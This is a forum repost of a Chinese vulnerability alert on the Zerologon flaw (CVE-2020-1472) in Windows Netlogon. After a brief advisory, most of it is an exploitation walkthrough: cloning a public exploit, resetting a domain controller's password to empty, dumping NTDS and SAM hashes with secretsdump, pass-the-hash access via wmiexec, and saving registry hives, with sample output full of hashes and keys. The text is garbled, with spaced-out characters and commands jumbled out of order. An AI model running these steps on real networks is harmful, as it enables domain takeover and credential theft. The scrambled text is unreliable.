搜索

[28584] 2020-09-15_【漏洞预警】（CVE-2020-1472）被黑客广泛应用

文档创建者：s7ckTeam
浏览次数：87
最后更新：2025-01-19
2020-09-15_【漏洞预警】（CVE-2020-1472）被黑客广泛应用 【 漏 洞 预 警 】 （ C V E - 2 0 2 0 - 1 4 7 2 ） 被 黑 客 广 泛 应 用 O t s 安 全   2 0 2 0 - 0 9 - 1 5 2 0 2 0 年 8 月 1 2 日 ， 阿 里 云 应 急 响 应 中 心 监 测 到 ， 微 软 发 布 了 补 丁 来 修 复 N e t L o g o n 特 权 升 级 漏 洞 （ C V E - 2 0 2 0 - 1 4 7 2 ） ， C V S S 评 分 为 1 0 ， 官 方 评 级 为 严 重 。 目 前 ， 微 软 已 正 式 提 供 相 应 的 每 月 安 全 补 丁 来 修 复 此 漏 洞 。     2 0 2 0 年 9 月 ， 一 名 外 国 黑 客 向 G i t h u b 公 开 上 传 了 该 漏 洞 的 验 证 脚 本 P o C ， 并 宣 布 了 相 关 技 术 细 节 ， 这 构 成 了 很 高 的 风 险 。 漏 洞 描 述 漏 洞 描 述     M i c r o s o f t 在 8 月 1 2 日 正 式 发 布 了 安 全 更 新 ， 该 更 新 修 复 了 N e t L o g o n 特 权 升 级 漏 洞 （ C V E - 2 0 2 0 - 1 4 7 2 ） 。 攻 击 者 使 用 N e t L o g o n （ M S - N R P C ） 与 域 控 制 器 建 立 易 受 攻 击 的 安 全 通 道 。 何 时 可 以 使 用 此 漏 洞 来 访 问 域 管 理 。 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 网 络 中 的 设 备 上 运 行 相 应 的 代 码 或 程 序 。 同 时 ， M i c r o s o f t 的 A u g u s t 补 丁 还 涉 及 许 多 其 他 高 风 险 漏 洞 。 阿 里 云 应 急 响 应 中 心 提 醒 W i n d o w s 用 户 尽 快 安 装 补 丁 ， 以 防 止 漏 洞 攻 击 。 C V E - 2 0 2 0 - 1 4 7 2 C V E - 2 0 2 0 - 1 4 7 2 又 名 Z e r o l o g o n 的 的 检 查 和 利 用 代 码 测 试 域 控 制 器 是 否 容 易 受 到 Z e r o l o g o n 攻 击 ， 如 果 容 易 受 到 攻 击 ， 它 将 把 域 控 制 器 的 帐 户 密 码 重 置 为 空 字 符 串 。 注 意 ： 注 意 ： 这 可 能 会 破 坏 生 产 环 境 中 的 内 容 （ 例 如 D N S 功 能 ， 与 复 制 域 控 制 器 的 通 信 等 ） ； 然 后 ， 目 标 客 户 端 将 无 法 再 向 域 进 行 身 份 验 证 ， 并 且 只 能 通 过 手 动 操 作 来 重 新 同 步 它 们 。 Z e r o l o g o n 原 创 性 的 研 究 和 白 皮 书 由 塞 库 拉 （ 汤 姆 T e r v o o r t ）   -   h t t p s : / / w w w . s e c u r a . c o m / b l o g / z e r o - l o g o n 利 用 利 用 它 将 尝 试 执 行 N e t l o g o n 身 份 验 证 绕 过 。 修 补 域 控 制 器 后 ， 检 测 脚 本 将 在 发 送 2 0 0 0 对 R P C 调 用 后 放 弃 ， 从 而 认 为 目 标 不 容 易 受 到 攻 击 （ 错 误 的 可 能 性 为 0 . 0 4 ％ ） 。 仅 当 域 控 制 器 使 用 A c t i v e   D i r e c t o r y 中 存 储 的 密 码 来 验 证 登 录 尝 试 ， 而 不 是 本 地 存 储 的 身 份 验 证 时 ， 该 漏 洞 利 用 才 会 成 功 ， 因 为 当 以 此 方 式 更 改 密 码 时 ， 只 能 在 A D 中 进 行 更 改 。 目 标 系 统 本 身 仍 将 在 本 地 存 储 其 原 始 密 码 。 安 装 安 装 需 要 P y t h o n   3 . 7 或 更 高 版 本 ， v i r t u a l e n v ， p i p 和   I m p a c k e t 库 的 修 改 版 本 ： n r p c . p y （ /   i m p a c k e t   /   d c e r p c   /   v 5 ） 来 自 G i t H u b 的 最 新 版 本 的 i m p a c k e t ， 其 中 添 加 了 n e t l o g o n 结 构 。 1 . 如 下 安 装 如 下 安 装 I m p a c k e t ： ： 1 .   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t 2 .   c d   i m p a c k e t
3 .   2 . 如 下 安 装 如 下 安 装 Z e r o l o g o n 漏 洞 脚 本 ： 漏 洞 脚 本 ： 1 .   运 行 脚 本 运 行 脚 本 该 脚 本 可 用 于 定 位 D C 或 备 用 D C 。 它 也 可 能 会 针 对 只 读 D C 工 作 ， 但 是 尚 未 经 过 测 试 。 D C 名 称 应 为 其 N e t B I O S 计 算 机 名 称 。 如 果 此 名 称 不 正 确 ， 则 脚 本 可 能 会 因 错 误 而 失 败 。 给 定 一 个 名 为 和 I P 地 址 的 域 控 制 器 ， 按 如 下 所 示 运 行 脚 本 ： 运 行 该 脚 本 应 导 致 域 控 制 器 的 帐 户 密 码 重 置 为 空 字 符 串 。 在 这 一 点 上 ， 您 应 该 能 够 运 行 I m p a c k e t 的 （ 也 可 以 使 用 空 的 h a s h   ： ） ， 它 将 仅 提 取 N T D S . D I T 数 据 （ N T L M 哈 希 和 K e r b e r o s 密 钥 ） 。 p w d ~ / i m p a c k e t / 4 .   v i r t u a l e n v   - - p y t h o n = p y t h o n 3   i m p a c k e t 5 .   s o u r c e   i m p a c k e t / b i n / a c t i v a t e 6 .   p i p   i n s t a l l   - - u p g r a d e   p i p 7 .   p i p   i n s t a l l   . ~ / i m p a c k e t / 2 .   c d   e x a m p l e 3 .   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / V o i d S e c / C V E - 2 0 2 0 - 1 4 7 2 4 .   c d   C V E - 2 0 2 0 - 1 4 7 2 5 .   p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t S T A T U S _ I N V A L I D _ C O M P U T E R _ N A M E E X A M P L E - D C 1 . 2 . 3 . 4 . / c v e - 2 0 2 0 - 1 4 7 2 - e x p l o i t . p y   - n   E X A M P L E - D C   - t   1 . 2 . 3 . 4 s e c r e t s d u m p . p y   - n o - p a s s   - j u s t - d c   D o m a i n / ' D C _ N E T B I O S _ N A M E $ ' @ D C _ I P _ A D D R - h a s h e s   : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0
哪 个 应 该 让 您 获 得 域 管 理 员 。 双 赢 双 赢 双 赢 双 赢 示 例 运 行 示 例 运 行 密 码 还 原 密 码 还 原 要 使 要 使 D C 继 续 正 常 运 行 ， 必 须 重 新 安 装 原 始 密 码 哈 希 。 继 续 正 常 运 行 ， 必 须 重 新 安 装 原 始 密 码 哈 希 。 获 得 D o m a i n   A d m i n 之 后 ， 您 可 以 使 用 从 s e c r e t s d u m p 获 得 的 凭 据 到 目 标 D C ， 并 执 行 以 下 步 骤 ： >   c v e - 2 0 2 0 - 1 4 7 2 - e x p l o i t . p y   - n   W I N - U 4 Q 9 L L P 6 L 2 A   - t   1 9 2 . 1 6 8 . 2 0 9 . 1 2 9 [ + ]   S u c c e s s :   Z e r o l o g o n   E x p l o i t   c o m p l e t e d !   D C ' s   a c c o u n t   p a s s w o r d   h a s   b e e n   s e t   t o   a n   e m p t y   s t r i n g . >   s e c r e t s d u m p . p y   - n o - p a s s   - j u s t - d c   a d . t e s t . c o m / W I N - U 4 Q 9 L L P 6 L 2 A $ @ 1 9 2 . 1 6 8 . 2 0 9 . 1 2 9 A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 2 b 5 7 6 a c b e 6 b c f d a 7 2 9 4 d 6 b d 1 8 0 4 1 b 8 f e : : : R e s t o r e : >   w m i e x e c . p y   - h a s h e s   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 2 b 5 7 6 a c b e 6 b c f d a 7 2 9 4 d 6 b d 1 8 0 4 1 b 8 f e   a d . t e s t . c o m / A d m i n i s t r a t o r @ 1 9 2 . 1 6 8 . 2 0 9 . 1 2 9 -   r e g   s a v e   H K L M S Y S T E M   s y s t e m . s a v e -   r e g   s a v e   H K L M S A M   s a m . s a v e -   r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . s a v e -   g e t   s y s t e m . s a v e -   g e t   s a m . s a v e -   g e t   s e c u r i t y . s a v e -   d e l   / f   s y s t e m . s a v e -   d e l   / f   s a m . s a v e -   d e l   / f   s e c u r i t y . s a v e >   s e c r e t s d u m p . p y   - s a m   s a m . s a v e   - s y s t e m   s y s t e m . s a v e   - s e c u r i t y   s e c u r i t y . s a v e   L O C A L [ * ]   T a r g e t   s y s t e m   b o o t K e y :   0 x 3 1 f 9 9 e e 2 e 7 5 0 2 7 4 d 1 f e e 9 3 0 a b 8 8 f e 1 2 6 [ * ]   D u m p i n g   l o c a l   S A M   h a s h e s   ( u i d : r i d : l m h a s h : n t h a s h ) A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 2 b 5 7 6 a c b e 6 b c f d a 7 2 9 4 d 6 b d 1 8 0 4 1 b 8 f e : : : G u e s t : 5 0 1 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0 : : : D e f a u l t A c c o u n t : 5 0 3 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 1 d 6 c f e 0 d 1 6 a e 9 3 1 b 7 3 c 5 9 d 7 e 0 c 0 8 9 c 0 : : : [ - ]   S A M   h a s h e s   e x t r a c t i o n   f o r   u s e r   W D A G U t i l i t y A c c o u n t   f a i l e d .   T h e   a c c o u n t   d o e s n ' t   h a v e   h a s h   i n f o r m a t i o n . [ * ]   D u m p i n g   c a c h e d   d o m a i n   l o g o n   i n f o r m a t i o n   ( d o m a i n / u s e r n a m e : h a s h ) [ * ]   D u m p i n g   L S A   S e c r e t s [ * ]   $ M A C H I N E . A C C $ M A C H I N E . A C C : p l a i n _ p a s s w o r d _ h e x : e f 4 6 4 f 4 1 9 4 d 9 f 4 0 1 a f 4 1 c 9 9 8 2 d c 7 c 8 5 5 2 4 c c 9 e d 8 a d e f 4 f e 2 4 c 8 0 4 4 d 1 3 f 1 a e 4 1 c 5 9 4 1 3 1 d 2 d 4 6 c a b 3 a 0 d 3 3 8 4 c d a 9 4 b a a e 6 5 d 5 a 8 7 d 2 6 d f 1 2 0 1 f f 6 f f 1 6 9 7 6 7 2 a c 4 e 1 6 c 1 6 f 0 e 5 1 4 f 6 e 5 4 d 8 4 3 4 2 c 5 a f 4 1 9 3 f e 9 6 3 2 9 e 3 a 3 0 f b 8 4 c 0 8 8 4 5 e 7 a 8 6 d a c 4 2 9 5 2 7 6 c 7 c 2 e 3 1 8 1 5 5 5 f a 5 e e f 2 1 d 4 d 1 f 4 6 9 5 5 0 f 4 7 0 6 3 8 3 3 2 7 b 2 9 9 2 8 3 f 7 2 b 7 d f 6 b 6 6 1 c f b 1 1 1 8 9 b d 8 b 3 a b 5 5 2 f f b 9 9 a a 1 2 f f e 1 9 b 7 6 0 e 0 0 e 1 4 3 e f 3 e 7 7 6 d 8 3 7 7 d a 5 7 9 2 5 c 5 e d 7 1 a a 9 f 0 9 9 1 a c f f 7 f c 9 c 9 6 3 a d d b 8 4 9 6 f d d 2 7 3 f 2 3 1 e 1 5 a 5 1 d 9 9 f 4 1 a 7 7 0 d e 7 1 4 5 7 3 b 2 6 7 9 5 c 4 5 a 0 3 e a c 8 0 e 3 b b 4 5 a c 5 c 1 0 0 7 4 0 d a 5 8 1 4 c 3 9 7 9 e 5 3 4 9 e 8 4 7 1 6 2 3 0 8 6 c 8 0 f 6 1 6 0 1 6 3 f 4 b d 5 6 d a 3 b 7 5 a 6 d e b 1 7 b 1 0 2 0 $ M A C H I N E . A C C :   a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 9 b 5 c c b 9 7 0 0 e 3 e d 7 2 3 d f 0 8 1 3 2 3 5 7 f f 6 a 1 [ * ]   D P A P I _ S Y S T E M d p a p i _ m a c h i n e k e y : 0 x a f 8 3 4 0 6 b 2 6 1 1 f 1 8 a c 9 9 3 2 9 0 7 9 e 9 f 4 7 d 9 4 0 9 e 8 8 5 f d p a p i _ u s e r k e y : 0 x 5 3 e d 5 5 5 f 1 1 c 1 1 0 f 9 1 8 f c 9 a 9 7 a 6 c 3 5 7 6 2 6 6 9 3 0 f b 7 [ * ]   N L $ K M   0 0 0 0       5 5   A 7   D F   D F   2 7   E 2   6 4   C 1     F 7   4 2   F 2   1 B   9 6   7 6   0 1   4 F       U . . . ' . d . . B . . . v . O   0 0 1 0       2 4   4 C   5 D   9 B   2 0   E 3   E A   9 5     D D   E 9   6 1   0 F   0 0   8 E   B 2   5 1       $ L ] .   . . . . . a . . . . Q   0 0 2 0       B 1   7 9   3 F   E 0   3 7   3 E   C B   B 2     9 5   3 1   A 6   7 4   F 3   3 5   5 4   8 A       . y ? . 7 > . . . 1 . t . 5 T .   0 0 3 0       C 1   B 6   7 0   3 D   B 3   A B   A C   C 1     7 E   8 E   9 0   7 A   7 B   4 9   3 2   4 6       . . p = . . . . ~ . . z { I 2 F N L $ K M : 5 5 a 7 d f d f 2 7 e 2 6 4 c 1 f 7 4 2 f 2 1 b 9 6 7 6 0 1 4 f 2 4 4 c 5 d 9 b 2 0 e 3 e a 9 5 d d e 9 6 1 0 f 0 0 8 e b 2 5 1 b 1 7 9 3 f e 0 3 7 3 e c b b 2 9 5 3 1 a 6 7 4 f 3 3 5 5 4 8 a c 1 b 6 7 0 3 d b 3 a b a c c 1 7 e 8 e 9 0 7 a 7 b 4 9 3 2 4 6 [ * ]   C l e a n i n g   u p . . . w m i e x e c . p y
跑 ：   那 应 该 向 您 显 示 计 算 机 帐 户 的 原 始 N T 哈 希 。 然 后 ， 您 可 以 使 用 此 处 提 供 的 脚 本 将 原 始 计 算 机 帐 户 哈 希 值 重 新 安 装 到 域 中 。 漏 洞 测 试 工 具 ： h t t p s : / / g i t h u b . c o m / V o i d S e c / C V E - 2 0 2 0 - 1 4 7 2 阅 读 原 文 r e g   s a v e   H K L M S Y S T E M   s y s t e m . s a v e r e g   s a v e   H K L M S A M   s a m . s a v e r e g   s a v e   H K L M S E C U R I T Y   s e c u r i t y . s a v e g e t   s y s t e m . s a v e g e t   s a m . s a v e g e t   s e c u r i t y . s a v e d e l   / f   s y s t e m . s a v e d e l   / f   s a m . s a v e d e l   / f   s e c u r i t y . s a v e s e c r e t s d u m p . p y   - s a m   s a m . s a v e   - s y s t e m   s y s t e m . s a v e   - s e c u r i t y   s e c u r i t y . s a v e   L O C A L r e i n s t a l l _ o r i g i n a l _ p w . p y
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理